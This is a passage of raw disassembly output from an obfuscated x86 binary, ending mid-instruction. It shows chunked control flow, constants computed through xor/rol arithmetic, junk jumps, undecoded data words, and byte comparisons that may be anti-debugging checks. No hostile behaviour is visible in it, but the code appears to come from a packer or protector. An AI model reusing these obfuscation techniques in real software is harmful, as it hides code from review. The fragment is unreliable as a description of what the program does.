FUNCTION CHUNK FOR sub_43AD64 loc_43886A: ; CODE XREF: sub_43AD64:loc_438240j push offset sub_446417 jmp loc_43D791 ; END OF FUNCTION CHUNK FOR sub_43AD64 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44256D loc_438875: ; CODE XREF: sub_44256D+7j jmp loc_440B97 ; END OF FUNCTION CHUNK FOR sub_44256D ; =============== S U B R O U T I N E ======================================= sub_43887A proc near ; CODE XREF: y22d6.y.:00437F95p ; sub_444427:loc_441A50j ... push ebp call sub_43AD3D sub_43887A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_438880 proc near ; CODE XREF: sub_43B7B5+D6CBp ; FUNCTION CHUNK AT 00445D09 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx xor eax, 5BB181D9h push edx push 8A196041h pop edx or edx, 8651CBD6h xor edx, 7F97B731h jmp loc_445D09 sub_438880 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_4388A2: ; CODE XREF: sub_44271A:loc_43C3A7j ; sub_44271A-127Cj call sub_43760A mov edx, 95918C9Dh call sub_44D293 push eax ror eax, 4 mov ds:dword_444BAC, eax retn ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440ABC loc_4388BC: ; CODE XREF: sub_440ABC+13j jmp loc_43B5F8 ; END OF FUNCTION CHUNK FOR sub_440ABC ; --------------------------------------------------------------------------- loc_4388C1: ; CODE XREF: y22d6.y.:0044885Bj jnb loc_44709C add edx, ebx ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_4388C9: ; CODE XREF: sub_44BCC2:loc_448844j sub eax, 730A0577h add eax, 0AA22D362h test eax, 80000000h jmp loc_447A4D ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- loc_4388E0: ; CODE XREF: y22d6.y.:00437D7Fj mov edi, 0E81CE0AAh ; =============== S U B R O U T I N E ======================================= sub_4388E5 proc near ; CODE XREF: sub_439595+14445p ; FUNCTION CHUNK AT 0043EFF6 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi mov ebp, esp jmp loc_43EFF6 sub_4388E5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0E913CFC1h, 0FFFFEB47h, 0C081C503h, 8ADC5AF1h, 9C56008Bh dd 0D7CBEA68h, 3D40E93Bh, 0C0C10001h, 0EAA3E915h, 815FFFFFh dd 0D23E61E7h, 0E1F78161h, 0F7081B7Eh, 8C7h, 52DBE900h dd 0E9C30000h, 0DB30h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_438934: ; CODE XREF: sub_44E5C7-10A5Bj ror ebp, 2 jno loc_4452B7 jmp loc_437867 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- pop ebp jmp sub_43D246 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_438949: ; CODE XREF: y22d6.y.:0043BB2Fj jmp loc_442DD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43894E: ; CODE XREF: sub_448EB6-DBE4j jmp loc_447F96 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438953 proc near ; CODE XREF: sub_4395B1:loc_4412BBp ; sub_44C1E2-A44Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_8], edx mov [ebp+var_4], eax cmp [ebp+var_8], 0 loc_438963: ; CODE XREF: sub_43FAC6:loc_4458CAj jmp loc_449082 sub_438953 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C59C loc_438968: ; CODE XREF: sub_44C59C-519Cj xchg ebp, [esp+0] call sub_440AF5 push 6D8E2DD0h pop eax jmp loc_439CF5 ; END OF FUNCTION CHUNK FOR sub_44C59C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44243B loc_43897B: ; CODE XREF: sub_44243B:loc_44D1FAj ; y22d6.y.:0044D20Ej add esi, 7EB6F61Dh add eax, esi push offset loc_43CADC jmp loc_43FAC1 ; END OF FUNCTION CHUNK FOR sub_44243B ; --------------------------------------------------------------------------- jmp ds:dword_41E0F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AFA1 loc_438993: ; CODE XREF: sub_44AFA1+23j jmp nullsub_267 ; END OF FUNCTION CHUNK FOR sub_44AFA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D3B1 loc_438998: ; CODE XREF: sub_44D3B1-130A9j jmp loc_444B2B ; END OF FUNCTION CHUNK FOR sub_44D3B1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] dd offset sub_4449FA ; --------------------------------------------------------------------------- jmp loc_4447BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_4389A7: ; CODE XREF: sub_43FAC6:loc_439785j ; sub_44B17B-C250j or ebx, 0A52155BAh sub ebx, ds:4000E1h or ebx, 4CD316D9h add ebx, 58BFE747h xor eax, ebx pop ebx jmp loc_448368 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_4389C7: ; CODE XREF: sub_44AA69:loc_443134j or ebp, 0C55212ECh sbb ebp, 0D9B5C775h jmp sub_44DA87 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4389D8: ; CODE XREF: sub_448EB6-73F0j jz loc_443487 loc_4389DE: ; CODE XREF: sub_44BF7B+11j jmp loc_448C24 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449A8B loc_4389E3: ; CODE XREF: sub_449A8B+17j jmp loc_445171 ; END OF FUNCTION CHUNK FOR sub_449A8B ; --------------------------------------------------------------------------- or edi, ebx and eax, 7F2D9D95h test esi, edi jmp loc_443CAA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CBE5 loc_4389F8: ; CODE XREF: sub_44CBE5+9j jmp nullsub_4 ; END OF FUNCTION CHUNK FOR sub_44CBE5 ; =============== S U B R O U T I N E ======================================= sub_4389FD proc near ; DATA XREF: y22d6.y.:0044B95Bo ; FUNCTION CHUNK AT 00440E39 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448638 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0044CE32 SIZE 00000017 BYTES push eax pop ebx xchg ebx, [esp+0] mov edx, eax jmp loc_44CE32 sub_4389FD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446236 loc_438A09: ; CODE XREF: sub_446236-44E4j jz loc_441DD7 mov edx, [ebx+ecx] jmp loc_44C2A7 ; --------------------------------------------------------------------------- loc_438A17: ; CODE XREF: sub_446236:loc_44623Dj mov ebx, [eax+18h] mov ecx, [ebx+3Ch] jmp loc_44C28C ; END OF FUNCTION CHUNK FOR sub_446236 ; --------------------------------------------------------------------------- locret_438A22: ; CODE XREF: y22d6.y.:loc_43764Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_438A23: ; CODE XREF: sub_448EB6+19F9j jmp nullsub_157 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_438A28: ; CODE XREF: sub_44E5C7-6A61j jmp loc_44D47B ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_438A2D: ; CODE XREF: sub_448C77-6C24j jmp loc_440DE4 ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_438A32: ; CODE XREF: sub_4432B8+218j shr edx, 5 rol ebx, 14h test esi, 83417841h jmp loc_43A523 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- test edi, ecx jmp loc_44093B ; --------------------------------------------------------------------------- locret_438A4A: ; CODE XREF: y22d6.y.:004385E6j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_438A4B: ; CODE XREF: sub_43B09B+F9A7j jmp loc_43E096 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- loc_438A50: ; CODE XREF: y22d6.y.:00449A1Bj jmp loc_44D0A4 ; --------------------------------------------------------------------------- loc_438A55: ; DATA XREF: sub_4480DE-C238o add eax, [esp] adc edx, [esp+4] add esp, 8 mov [ebp-4], eax jmp loc_44AC83 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438A67 proc near ; CODE XREF: sub_43DD42+4p ; sub_4480DE+49A8p ; FUNCTION CHUNK AT 0043BF60 SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_43BF60 sub_438A67 endp ; =============== S U B R O U T I N E ======================================= sub_438A6F proc near ; DATA XREF: sub_44DA87-62C1o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043C59C SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043DAF5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043DF66 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044B0C7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0044B612 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D5C2 SIZE 00000008 BYTES xor edx, edx push edi push edx pop edi xchg edi, [esp+4+var_4] jmp loc_43DF66 sub_438A6F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_438A7C: ; CODE XREF: sub_4450FD-4795j add eax, ebp add eax, 0BEFE80E8h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_4397DE jmp loc_44DBA2 ; END OF FUNCTION CHUNK FOR sub_4450FD ; =============== S U B R O U T I N E ======================================= sub_438A94 proc near ; CODE XREF: .text:004098B7p ; y22d6.y.:004463F5j ; DATA XREF: ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004397B3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00439A82 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043D639 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444918 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446405 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004473DB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447C4E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00448061 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0044AC9E SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0044E631 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E688 SIZE 00000023 BYTES push ebx push 2CC2814Fh sbb ebx, eax jmp loc_4397B3 sub_438A94 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F2D loc_438AA1: ; CODE XREF: sub_439F2D+12C53j push edx push esi push 9BEE8878h pop esi sub esi, 9D93B9F2h add esi, 1E9BAAFh jmp loc_43BE61 ; END OF FUNCTION CHUNK FOR sub_439F2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_438ABA: ; CODE XREF: sub_43E185+1033Ej jp loc_442CA1 and edx, 46C1C425h jmp loc_437B30 ; END OF FUNCTION CHUNK FOR sub_43E185 ; =============== S U B R O U T I N E ======================================= sub_438ACB proc near ; DATA XREF: y22d6.y.:004385E1o ; FUNCTION CHUNK AT 0044643C SIZE 00000005 BYTES pushf push 42894209h pop edx rol edx, 15h xor edx, 49EE1A2Bh add edx, 0F77D9746h popf xchg edx, [esp+0] jmp loc_44643C sub_438ACB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_438AEA: ; CODE XREF: sub_440280+3B54j jnz loc_447865 jmp loc_44206B ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- loc_438AF5: ; CODE XREF: y22d6.y.:004493F3j ror eax, 17h jno loc_43F95C add eax, 0B71B9529h mov edx, [esp] jmp loc_43BAB6 ; --------------------------------------------------------------------------- shr esi, 4 jmp sub_447527 ; --------------------------------------------------------------------------- loc_438B14: ; CODE XREF: y22d6.y.:004380FCj ; y22d6.y.:00444BDEj xchg eax, [esp] mov edx, eax call sub_44D088 xchg edi, [esp] mov edx, edi jmp loc_43A13E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_438B28: ; CODE XREF: sub_437FD8:loc_43FEFEj add edx, ebp add edx, 80AE98D6h mov edx, [edx] imul byte ptr [edx] jmp loc_441949 ; END OF FUNCTION CHUNK FOR sub_437FD8 ; =============== S U B R O U T I N E ======================================= sub_438B39 proc near ; CODE XREF: y22d6.y.:004477B6j ; sub_44CA21+8p ; FUNCTION CHUNK AT 004395EF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439AEE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043D273 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044ABDA SIZE 00000003 BYTES xchg eax, [esp+0] pop eax mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_44ABDA jmp loc_4395EF sub_438B39 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C980 loc_438B4D: ; CODE XREF: sub_44C980+E82j mov eax, [esp+0] push edx call sub_443C3C mov eax, 11C9A2C5h jmp loc_437DB8 ; END OF FUNCTION CHUNK FOR sub_44C980 ; --------------------------------------------------------------------------- loc_438B60: ; CODE XREF: y22d6.y.:004407A9j jns loc_447E8D ; =============== S U B R O U T I N E ======================================= sub_438B66 proc near ; CODE XREF: sub_4383E0:loc_448B0Ep ; FUNCTION CHUNK AT 004375A0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437790 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00438C96 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043937F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043A519 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043AB9A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043B6BC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043BAC6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043C14E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043E642 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E809 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043EA83 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043F7F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004415E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441798 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044223A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004422E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442568 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442A31 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0044450C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004448DB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00444B3C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 004454A8 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00445A42 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00446FDA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447794 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447D90 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448359 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004483FC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004488A7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004491AE SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00449C10 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044A7F5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044B544 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044C254 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D2A1 SIZE 00000010 BYTES xchg ecx, [esp+0] pop ecx mov eax, [eax] popf jmp loc_4415E6 sub_438B66 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_438B72: ; CODE XREF: y22d6.y.:004371E9j xor edx, 0D26576DCh rol edx, 15h add edx, 0A4F3A415h xchg edx, [esp] jmp sub_4396B2 ; --------------------------------------------------------------------------- mov esi, 31D7D9F8h jmp loc_44BE0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BF91 loc_438B93: ; CODE XREF: sub_44BF91-CA38j jl loc_44855E add edx, 0C3ECC6E8h mov ebp, 45FCA337h jmp loc_448559 ; END OF FUNCTION CHUNK FOR sub_44BF91 ; --------------------------------------------------------------------------- locret_438BA9: ; CODE XREF: y22d6.y.:loc_44433Aj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_438BAA: ; CODE XREF: sub_44057E+1030j jmp sub_43EF0B ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4477E6 loc_438BAF: ; CODE XREF: sub_4477E6:loc_4410A0j jmp loc_44E4EF ; END OF FUNCTION CHUNK FOR sub_4477E6 ; --------------------------------------------------------------------------- loc_438BB4: ; CODE XREF: y22d6.y.:loc_4382A4j jz loc_44CA55 jmp loc_43EA9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_438BBF: ; CODE XREF: sub_448EB6:loc_43B708j test edi, 0E68C4A0Eh jmp loc_44241D ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_438BCA: ; CODE XREF: sub_44AEDA-3B40j pop ebx and ebx, 7169990Eh push offset loc_44876C jmp nullsub_163 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- and ecx, 0AA84C607h jmp sub_43B7B5 ; --------------------------------------------------------------------------- loc_438BE6: ; CODE XREF: y22d6.y.:00439496j jl loc_44ABCD ; =============== S U B R O U T I N E ======================================= sub_438BEC proc near ; CODE XREF: sub_43B98D:loc_43FCE5p ; FUNCTION CHUNK AT 00439975 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00441E91 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00443AB8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004482B1 SIZE 00000007 BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp+8] jmp loc_439975 sub_438BEC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_438BF8: ; CODE XREF: y22d6.y.:0044E29Aj sub edi, ebp ; =============== S U B R O U T I N E ======================================= sub_438BFA proc near ; CODE XREF: sub_44CEE1-11094p xchg ebx, [esp+0] pop ebx pop edi sub_438BFA endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_439051 loc_438BFF: ; CODE XREF: sub_439051+Ej ; sub_44156E:loc_44C6CAj add eax, 4C2856F6h xor eax, 70DEAA58h jmp loc_43816C ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D6D0 loc_438C10: ; CODE XREF: sub_44D6D0-3A1Aj adc ecx, 0FA4290B5h loc_438C16: ; CODE XREF: sub_44D6D0:loc_441DBCj mov eax, offset dword_43C800 mov [ebp-4], eax mov eax, offset dword_43C860 mov [ebp-8], eax mov eax, offset dword_43C9BC loc_438C2B: ; CODE XREF: sub_448EB6:loc_438E20j push offset loc_443D7D jmp loc_43AE6E ; END OF FUNCTION CHUNK FOR sub_44D6D0 ; --------------------------------------------------------------------------- loc_438C35: ; CODE XREF: y22d6.y.:loc_43A13Ej pop edi xchg edx, [esp] mov eax, edx pop edx mov ds:dword_44DD6C, edx loc_438C42: ; CODE XREF: y22d6.y.:00440D93j ; y22d6.y.:0044A97Cj xchg eax, edx ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_438C43: ; CODE XREF: sub_448EB6:loc_440578j call sub_44DD60 loc_438C48: ; CODE XREF: y22d6.y.:0044920Ej jmp loc_439954 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_438C4D: ; CODE XREF: sub_44633F-47E6j pop edx rol edx, 1Eh add edx, 388595F4h xchg edx, [esp-4+arg_0] jmp loc_442105 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- loc_438C5F: ; CODE XREF: y22d6.y.:0043C700j push 6EEF4CCFh pop edx add edx, 8A74C069h or edx, ds:4000E8h sub edx, 12FD8CBDh add edx, 19D4171Eh jmp loc_447110 ; --------------------------------------------------------------------------- loc_438C82: ; CODE XREF: y22d6.y.:00449BD9j jnz loc_43FD2C cdq jmp loc_4496BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44571D loc_438C8E: ; CODE XREF: sub_44571D+Ej inc dword ptr [ebp-24h] jmp loc_44D101 ; END OF FUNCTION CHUNK FOR sub_44571D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_438C96: ; CODE XREF: y22d6.y.:0043AE9Fj ; y22d6.y.:loc_43D519j ... push 7E240A40h pop eax rol eax, 0Ah jmp loc_449C10 ; END OF FUNCTION CHUNK FOR sub_438B66 ; =============== S U B R O U T I N E ======================================= sub_438CA4 proc near ; CODE XREF: y22d6.y.:0044D605p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00449FF7 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx xchg esi, [esp-4+arg_0] jmp loc_449FF7 sub_438CA4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_438CB0: ; CODE XREF: sub_43BEF7:loc_43BF3Bj mov eax, [eax] add eax, [ebp-4] push edx call sub_447940 loc_438CBB: ; CODE XREF: sub_44A320+2j jmp loc_43E0F8 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- locret_438CC0: ; CODE XREF: y22d6.y.:00447342j retn ; --------------------------------------------------------------------------- and ecx, edx jmp loc_4452EB ; --------------------------------------------------------------------------- loc_438CC8: ; DATA XREF: sub_441030:loc_44B69Do mov edx, [ebp+8] mov eax, [edx] add edx, 4 mov edx, [edx] push edx push eax call sub_448CFE mov al, 1 jmp loc_4497F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43910C loc_438CE0: ; CODE XREF: sub_43910C+7EA7j pushf mov edx, 0C893032h or edx, eax popf jz sub_43A9C6 jmp loc_4488FD ; END OF FUNCTION CHUNK FOR sub_43910C ; --------------------------------------------------------------------------- loc_438CF4: ; CODE XREF: y22d6.y.:loc_443AE2j jo loc_437111 jo loc_43F94A ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_438D00: ; CODE XREF: y22d6.y.:loc_4384FDj ; sub_448EB6-EE88j ... jmp loc_43E5A5 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_438D05: ; CODE XREF: y22d6.y.:00440BEBj ; y22d6.y.:0044D96Aj xchg eax, [esp] mov ecx, eax pop eax jmp loc_43D08C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_438D10: ; CODE XREF: sub_4432B8:loc_443505j xor ebx, 3454FAA8h add ebx, 23CCA6A8h mov [ebx], eax pop ebx lea eax, sub_44AA5D jmp loc_4380C8 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_438D2A: ; CODE XREF: sub_43FFE2:loc_4415E1j pop edx mov eax, offset dword_4413DC call sub_44B003 cmp ds:dword_4413E8, 0 jmp loc_43BAD1 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- loc_438D41: ; CODE XREF: y22d6.y.:loc_43803Bj pop ecx push ebx push 0AF56E556h pop ebx jmp loc_448BF7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_438D4F: ; CODE XREF: sub_44BCC2-2644j jmp loc_44357A ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_438D54: ; CODE XREF: sub_448EB6-5C23j jmp nullsub_141 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A735 loc_438D59: ; CODE XREF: sub_43A735+Fj jmp loc_44AD27 ; END OF FUNCTION CHUNK FOR sub_43A735 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4498DE loc_438D5F: ; CODE XREF: sub_4498DE+9j jmp loc_4492A7 ; END OF FUNCTION CHUNK FOR sub_4498DE ; --------------------------------------------------------------------------- loc_438D64: ; CODE XREF: y22d6.y.:0043F8C4j pop esi loc_438D65: ; CODE XREF: y22d6.y.:0044A6D4j add esi, 0E27CF559h sub esi, 8651D14Ch add esi, 23A9E57h jmp loc_44140E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437680 loc_438D7C: ; CODE XREF: sub_437680:loc_43BB05j add [ebp-0Ah], al xor eax, eax mov al, [ebp-0Ah] shr eax, 4 jmp loc_44A9CB ; END OF FUNCTION CHUNK FOR sub_437680 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_438D8C: ; CODE XREF: sub_43E5C2+6j mov eax, ds:dword_43A6D8 or eax, eax jnz loc_43ACD6 jmp loc_43AA5D ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_438D9F: ; CODE XREF: sub_44BBBA-13A84j jz loc_43E060 jmp loc_440A9C ; END OF FUNCTION CHUNK FOR sub_44BBBA ; =============== S U B R O U T I N E ======================================= sub_438DAA proc near ; DATA XREF: sub_4432B8-5F0Do var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 0043DE53 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004445A2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444618 SIZE 00000005 BYTES push 0FFFFFFFFh push 0 push eax push 0E4CF870h pop eax add eax, 1E994FDEh and eax, 4625AA39h jmp loc_444618 sub_438DAA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_438DC6: ; CODE XREF: sub_44B17B:loc_4488C8j pop ecx xor eax, 5ED553AFh ror eax, 9 call sub_437901 ; END OF FUNCTION CHUNK FOR sub_44B17B ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_438DD5: ; CODE XREF: sub_43C6D7+8B8Dj jmp loc_439489 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- xchg esi, [ebx] jmp sub_44DAA6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_438DE1: ; CODE XREF: sub_4452EE+234Aj jz loc_443C2F jmp loc_43E4E3 ; END OF FUNCTION CHUNK FOR sub_4452EE ; --------------------------------------------------------------------------- jle loc_449A6B jmp loc_4420AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FD7A loc_438DF7: ; CODE XREF: sub_43FD7A+8923j or edi, 0A65F2E6h xor edi, 0ABF248FDh add edi, 2F3BDB0Fh xchg edi, [esp+0] jmp sub_43EC92 ; END OF FUNCTION CHUNK FOR sub_43FD7A ; --------------------------------------------------------------------------- mov edx, 0DDABAF17h call sub_44190B ; START OF FUNCTION CHUNK FOR sub_43B09B loc_438E1B: ; CODE XREF: sub_43B0EE+4F6Bj ; sub_43B09B:loc_444FD9j jmp loc_44D28C ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_438E20: ; CODE XREF: sub_448EB6-F5BCj jmp loc_438C2B ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_438E25: ; CODE XREF: sub_440280-628j test ebp, ebx jmp loc_437573 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- push 0BFFD7BCAh pop eax sub eax, 0EA3B3D0Fh xor eax, 0EA536CC8h add eax, 7E46C856h rol eax, 17h add eax, 8A07A1E4h call 